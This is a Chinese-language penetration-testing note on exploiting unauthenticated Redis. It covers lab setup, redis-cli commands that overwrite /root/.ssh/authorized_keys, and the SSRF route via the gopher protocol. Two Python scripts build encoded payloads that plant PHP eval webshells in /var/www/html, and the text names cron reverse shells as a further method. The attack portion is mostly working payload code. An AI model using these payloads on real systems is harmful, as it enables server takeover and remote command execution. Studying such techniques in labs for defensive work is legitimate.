Redis未授权访问
简介
redis是一种key-value键值对的非关系型数据库,默认运行在6379端口
它启动时不会像apache一样,以一种www-data低权限身份运行。而是以运行者的身份,例如用root权限直接运行redis时,redis的权限就是root权限
其次它的默认配置是无需密码的,也就造成了默认的未授权访问
redis还支持本地存储,也就导致了任意文件写入。从而可以写入私钥,利用私钥直接ssh登录服务器。
一些常用命令
连接redis
redis-cli -h 192.168.85.132
查看版本信息
192.168.85.132:6379>info
查看键为x的值
192.168.85.132:6379>get x
查看所有键
192.168.85.132:6379>keys *
设置x的值为test
192.168.85.132:6379>set x "test"
删除所有键
192.168.85.132:6379>flushall
设置redis本地存储的文件夹和文件名
192.168.85.132:6379>config set dir /root/.ssh
192.168.85.132:6379>config set dbfilename authorized_keys
漏洞环境搭建
攻击机
操作系统:ubuntu 16.04
ip :192.168.85.128
安装redis
sudo apt-get update
sudo apt-get install redis-server
靶机
操作系统: centos 6.5
ip :192.168.85.132
下载编译redis
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzvf redis-3.2.0.tar.gz
cd redis-3.2.0
make
修改下配置文件,不然默认虽然是无密码,但是会有protected模式,导致无法从外部主机连接
vim redis.conf
bind 127.0.0.1前面加上#号 protected-mode设为no
启动redis
./src/redis-server redis.conf
./src/redis-server redis.conf
redis-cli
tcpdump port 6379 -w 1.pcap
SSRF未授权攻击Redis
当存在SSRF漏洞且内网中Redis服务可以未授权访问时,我们可以利用gopher协议构造tcp报文发送一系列请求来攻击Redis服务。
常见的几种攻击方式:
- 利用计划任务执行命令反弹shell
- 写ssh-keygen公钥然后使用私钥登陆
- 往web物理路径写webshel
方法大致相同。
SSRF使用RESP协议进行传输,这里给出两个转成RESP协议的脚本
import urllib
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
import urllib
import requests
import os
payload =\
"""
flushall
set A "<?php @eval($_POST[1])?>"
config set dir /var/www/html
config set dbfilename hack1.php
save
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
print(new)
根据需要修改参数写webshell,注意在传入的时候要二次编码。
主从复制
还没有复现。
参考文章:https://xz.aliyun.com/t/5665